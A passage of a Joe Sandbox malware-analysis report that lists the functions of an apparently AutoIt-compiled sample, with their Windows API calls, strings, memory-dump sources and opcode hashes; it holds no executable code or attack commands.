_memset.LIBCMT ref: 00D91E30

Strings

X, xrefs: 00D91E68

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 140a9569424a94e681d80883fbb225b7d101b044670bcbda1a342ccdb739c2b7
Instruction ID: f90d0bf27ecf93e5bd3c80598ff136ff82e1c7436b00ab8b01e036df5c95a371
Opcode Fuzzy Hash: 140a9569424a94e681d80883fbb225b7d101b044670bcbda1a342ccdb739c2b7
Instruction Fuzzy Hash: 99C14C356083419FC754EF28C881A6AB7E4FF85350F04492DF99A972A2DB70ED45CBB2

Function 00DAFF91 Relevance: 10.7, APIs: 7, Instructions: 245windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5AF7D: GetWindowLongW.USER32(?,000000EB), ref: 00D5AF8E

GetSystemMetrics.USER32(0000000F), ref: 00DAFFCB
MoveWindow.USER32(00000003,?,00000000,00000001,00000000,00000000,?,?,?), ref: 00DB01EB
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00DB0209
InvalidateRect.USER32(?,00000000,00000001,?), ref: 00DB0234
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00DB025D
ShowWindow.USER32(00000003,00000000), ref: 00DB027F
DefDlgProcW.USER32(?,00000005,?,?), ref: 00DB029E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
String ID:
API String ID: 3356174886-0
Opcode ID: f7ca7d5e3115fd2252b9398b1ac9dc434fc1639c247450f52abf1ddad47e6d49
Instruction ID: 1d0ff2402c2df0af57af86fa2a72c1fabb39addca1c45042b7072f274b6bddbb
Opcode Fuzzy Hash: f7ca7d5e3115fd2252b9398b1ac9dc434fc1639c247450f52abf1ddad47e6d49
Instruction Fuzzy Hash: 73A17D3560061AEFDB18CF68C9857FEBBB1BF08740F188125EC56AB294D734AD55CBA0

Function 00D5B40F Relevance: 10.7, APIs: 7, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7452bcbaae66b62308d3efb231b980c83017b2402d5adfe5fe0fa86be4985737
Instruction ID: 488c24e6fe94afbcdf2a38d8a5a5e2eec218e18c35dfab883eddf2eca6711fbd
Opcode Fuzzy Hash: 7452bcbaae66b62308d3efb231b980c83017b2402d5adfe5fe0fa86be4985737
Instruction Fuzzy Hash: AA714971900209EFCF14CF98CC88AAEBB75FF85325F24815AFD55AA251D7309A45CB70

Function 00DA2121 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA214B
_memset.LIBCMT ref: 00DA2214
ShellExecuteExW.SHELL32(?), ref: 00DA2259

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

Part of subcall function 00D43BCF: _wcscpy.LIBCMT ref: 00D43BF2

CloseHandle.KERNEL32(00000000), ref: 00DA2320
FreeLibrary.KERNEL32(00000000), ref: 00DA232F

Strings

@, xrefs: 00DA2225

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
String ID: @
API String ID: 4082843840-2766056989
Opcode ID: 5c22598518cd5d7ad447c689786c560a207dc3d74991c06e4d6010bff297d13e
Instruction ID: e8e1a298aad7809ba435a67db069aae0777309c58af0bd08dcc5ac1559a3fe47
Opcode Fuzzy Hash: 5c22598518cd5d7ad447c689786c560a207dc3d74991c06e4d6010bff297d13e
Instruction Fuzzy Hash: 57716D75A006199FCF04EFA9C8859AEB7F5FF49310B148059E855AB351DB34AE40CBB0

Function 00D847DE Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00D8481D
GetKeyboardState.USER32(?), ref: 00D84832
SetKeyboardState.USER32(?), ref: 00D84893
PostMessageW.USER32(?,00000101,00000010,?), ref: 00D848C1
PostMessageW.USER32(?,00000101,00000011,?), ref: 00D848E0
PostMessageW.USER32(?,00000101,00000012,?), ref: 00D84926
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00D84949

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: cbbb1e4e92bd1b07ace77808ac6e7d019da9800f92f4b681bb33b68cc511d75c
Instruction ID: 55a024e029e2f278df04496352f11aba9aef317f6ff4a6c5e24d00422e8ff14f
Opcode Fuzzy Hash: cbbb1e4e92bd1b07ace77808ac6e7d019da9800f92f4b681bb33b68cc511d75c
Instruction Fuzzy Hash: 6B51C3A06187D73DFB3666248C45BBBBEA95F06304F0C858DE1D9568C2C6E4EC84DB70

Function 00D845F9 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00D84638
GetKeyboardState.USER32(?), ref: 00D8464D
SetKeyboardState.USER32(?), ref: 00D846AE
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00D846DA
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00D846F7
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00D8473B
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00D8475C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: dc8a7ffbd1bf39a764f4e1ac669467e2e8597cc2c9a49fde453b7c7f78e88939
Instruction ID: daea222b8f73ffe085272d262f2e8f80ab6864ca5ced008f021ac6d6ccc37a01
Opcode Fuzzy Hash: dc8a7ffbd1bf39a764f4e1ac669467e2e8597cc2c9a49fde453b7c7f78e88939
Instruction Fuzzy Hash: AB51F7A05047D73DFB36A7248C56BBABF99AB07304F0C8499E1D5468C2E394EC98D770

Function 00D886AE Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00D886BB
_wcsncpy.LIBCMT ref: 00D886F0
_wcsncpy.LIBCMT ref: 00D88722
_wcsncpy.LIBCMT ref: 00D88755
_wcsncpy.LIBCMT ref: 00D88797
_wcsncpy.LIBCMT ref: 00D887D1
_wcsncpy.LIBCMT ref: 00D88800

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 7dbf0cdf308f793dc651f97d50870021eb477ad9083c4e3d2aca8db17adc234e
Instruction ID: e1cbdda5a15d8095b26d52b79f51d46727b5619619e94a1b5ef70535abb3cd22
Opcode Fuzzy Hash: 7dbf0cdf308f793dc651f97d50870021eb477ad9083c4e3d2aca8db17adc234e
Instruction Fuzzy Hash: 25413F65C106147ACB10EBB4CC8A9DEB7BCEF09350F948866E554F3121EA30E65587B9

Function 00D9936F Relevance: 10.6, APIs: 7, Instructions: 136networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,00000001,00000000,00000000,?,000003E8,00DDDBF0), ref: 00D99409
WSAGetLastError.WSOCK32(00000000), ref: 00D99416
__WSAFDIsSet.WSOCK32(00000000,00000001,00000000), ref: 00D9943A
#16.WSOCK32(?,?,00000000,00000000), ref: 00D99452
_strlen.LIBCMT ref: 00D99484
_memmove.LIBCMT ref: 00D994CA
WSAGetLastError.WSOCK32(00000000), ref: 00D994F7

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorLast$_memmove_strlenselect
String ID:
API String ID: 2795762555-0
Opcode ID: 787cba1340aa1ebf3708060eed666d71c168459a86e6eda6047e4fed8d7c662f
Instruction ID: 74ab782595e977cf23c8e166730dd96872ebb28dbec18e72c65deb38c223dbca
Opcode Fuzzy Hash: 787cba1340aa1ebf3708060eed666d71c168459a86e6eda6047e4fed8d7c662f
Instruction Fuzzy Hash: A0418071500205AFCB14EBA8CC95EAEB7B9EF48310F108169F516972D2DB30EE45CB70

Function 00DA9D97 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA9DB0
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00DA9E57
IsMenu.USER32(?), ref: 00DA9E6F
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00DA9EB7
DrawMenuBar.USER32 ref: 00DA9ED0

Strings

0, xrefs: 00DA9DA9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 43c0108a34c4078e663d007c2851de8b86086854cfecbc71f7aeb9cc28df3897
Instruction ID: e4a91b9bd2bdb4c9028d871481f111c59b53d9fc82c5334eafea32e63f94391a
Opcode Fuzzy Hash: 43c0108a34c4078e663d007c2851de8b86086854cfecbc71f7aeb9cc28df3897
Instruction Fuzzy Hash: 81413776A01209EFDB20DF60D894E9ABBF5FF06354F088029F945AB251D730EE54CB60

Function 00DA3C63 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 00DA3C92
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00DA3CBC
FreeLibrary.KERNEL32(00000000), ref: 00DA3D71

Part of subcall function 00DA3C63: RegCloseKey.ADVAPI32(?), ref: 00DA3CD9
Part of subcall function 00DA3C63: FreeLibrary.KERNEL32(?), ref: 00DA3D2B
Part of subcall function 00DA3C63: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00DA3D4E

RegDeleteKeyW.ADVAPI32(?,?), ref: 00DA3D16

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 5aad93d7f155fca0ad8d86ca5585ae3cb714ab9b7329810038fc1570cd3f3561
Instruction ID: b3a110bdf3742763ca364a5bc43142acf8e9bdee142b5f2afccbc20079d81091
Opcode Fuzzy Hash: 5aad93d7f155fca0ad8d86ca5585ae3cb714ab9b7329810038fc1570cd3f3561
Instruction Fuzzy Hash: 6631F7B191120ABFDB159B94DC89EFEB7BEEB09300F14056AB512E2150D7709F499B70

Function 00DA8DD5 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00DA8DF4
GetWindowLongW.USER32(013CBF90,000000F0), ref: 00DA8E27
GetWindowLongW.USER32(013CBF90,000000F0), ref: 00DA8E5C
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00DA8E8E
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00DA8EB8
GetWindowLongW.USER32(?,000000F0), ref: 00DA8EC9
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00DA8EE3

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 0d2f05b075bf99a045e5c4a60e41d7f4a86e84f608e8801aba1ed13b860ac9f4
Instruction ID: cf9c2d0de8d8be70e397518fa570a48af314faba6f0dc72fa0b3db285204c300
Opcode Fuzzy Hash: 0d2f05b075bf99a045e5c4a60e41d7f4a86e84f608e8801aba1ed13b860ac9f4
Instruction Fuzzy Hash: A4312031640216EFDB24CF59DC84F5537A2EB4A314F1841A4F9058F2B2CB72AE80EB60

Function 00D816F1 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D81734
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D8175A
SysAllocString.OLEAUT32(00000000), ref: 00D8175D
SysAllocString.OLEAUT32(?), ref: 00D8177B
SysFreeString.OLEAUT32(?), ref: 00D81784
StringFromGUID2.OLE32(?,?,00000028), ref: 00D817A9
SysAllocString.OLEAUT32(?), ref: 00D817B7

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 5c0e7957927407d82eafde364c64ffad69de9a81a8a6309b5b9dda0b82b6888d
Instruction ID: 5eb951992ae8b08f5d37db6de9198076db9d7d853aed634f5bcb7dffe6aef2b2
Opcode Fuzzy Hash: 5c0e7957927407d82eafde364c64ffad69de9a81a8a6309b5b9dda0b82b6888d
Instruction Fuzzy Hash: 5221A47960031AAF9B10AFA8CC88CBF77EDEB09360B458129F945DB250DB70EC468770

Function 00D869F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D431B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 00D431DA

lstrcmpiW.KERNEL32(?,?), ref: 00D86A2B
_wcscmp.LIBCMT ref: 00D86A49
MoveFileW.KERNEL32(?,?), ref: 00D86A62

Part of subcall function 00D86D6D: GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00D86DBA
Part of subcall function 00D86D6D: GetLastError.KERNEL32 ref: 00D86DC5
Part of subcall function 00D86D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 00D86DD9

_wcscat.LIBCMT ref: 00D86AA4
SHFileOperationW.SHELL32(?), ref: 00D86B0C

Strings

\*.*, xrefs: 00D86A9E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: File$AttributesCreateDirectoryErrorFullLastMoveNameOperationPath_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 2323102230-1173974218
Opcode ID: 13396edd3452177918963aeaeeab57a7f2ba7951d57e4e2c6883c8144e43610d
Instruction ID: 8554e6d4c091f3c9b9da6d41ba2f933ebd4cafe7d52a9c8b90dd66045ad83ffc
Opcode Fuzzy Hash: 13396edd3452177918963aeaeeab57a7f2ba7951d57e4e2c6883c8144e43610d
Instruction Fuzzy Hash: 9E311EB1800219AACF55EFA4DC45BDDB7B8AF08314F5445AAE509E3141EB30DB89CF74

Function 00D82FCD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00D82FE0
__wcsnicmp.LIBCMT ref: 00D83001
__wcsnicmp.LIBCMT ref: 00D8301B

Strings

#notrayicon, xrefs: 00D82FD8
#OnAutoItStartRegister, xrefs: 00D83015
#requireadmin, xrefs: 00D82FFB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: e9dcf1de021744cbf136995e93c1accfe3b5f173af9a0d0bace568e2026a1eb4
Instruction ID: 2ce1750426c731996a265cfb5751e21e0879b3f0f5af3713d1138ba74606cf36
Opcode Fuzzy Hash: e9dcf1de021744cbf136995e93c1accfe3b5f173af9a0d0bace568e2026a1eb4
Instruction Fuzzy Hash: 892129321446117BD631BB399C02EBB73E9DF69750F144426F98987181EBA1DA82D3B1

Function 00D817C8 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D8180D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D81833
SysAllocString.OLEAUT32(00000000), ref: 00D81836
SysAllocString.OLEAUT32 ref: 00D81857
SysFreeString.OLEAUT32 ref: 00D81860
StringFromGUID2.OLE32(?,?,00000028), ref: 00D8187A
SysAllocString.OLEAUT32(?), ref: 00D81888

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: d24a0eb33c83c0c0ebe568d15ec094792cb43a89ab6abcf6a505fcbf80859644
Instruction ID: 82055b1f9b8d37909a02fb414a84e4172c2b027b7fd8915f26f6cb9a2d8daccd
Opcode Fuzzy Hash: d24a0eb33c83c0c0ebe568d15ec094792cb43a89ab6abcf6a505fcbf80859644
Instruction Fuzzy Hash: 27217435604205BF9B10ABE8CC89DBAB7ECEF09360B448125F915DB264DA74EC468B70

Function 00DAA0D6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D5C657
Part of subcall function 00D5C619: GetStockObject.GDI32(00000011), ref: 00D5C66B
Part of subcall function 00D5C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D5C675

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00DAA13B
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00DAA148
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00DAA153
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00DAA162
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00DAA16E

Strings

Msctls_Progress32, xrefs: 00DAA10C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 3bc0d107de71cc75376edb2239e30b863c1218d751f08d8922ae1eaee78c25c3
Instruction ID: bcdec6f03021ff31b6149198d0e10be5048ff455d5a3e06b6b47edb43054810a
Opcode Fuzzy Hash: 3bc0d107de71cc75376edb2239e30b863c1218d751f08d8922ae1eaee78c25c3
Instruction Fuzzy Hash: B6115EB1150219BEEF155F65CC86EE77F5DEF09798F014215FA08A6090C6729C21DBB4

Function 00DAE13E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DAE14D
_memset.LIBCMT ref: 00DAE15C
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00E03EE0,00E03F24), ref: 00DAE18B
CloseHandle.KERNEL32 ref: 00DAE19D

Strings

>, xrefs: 00DAE147
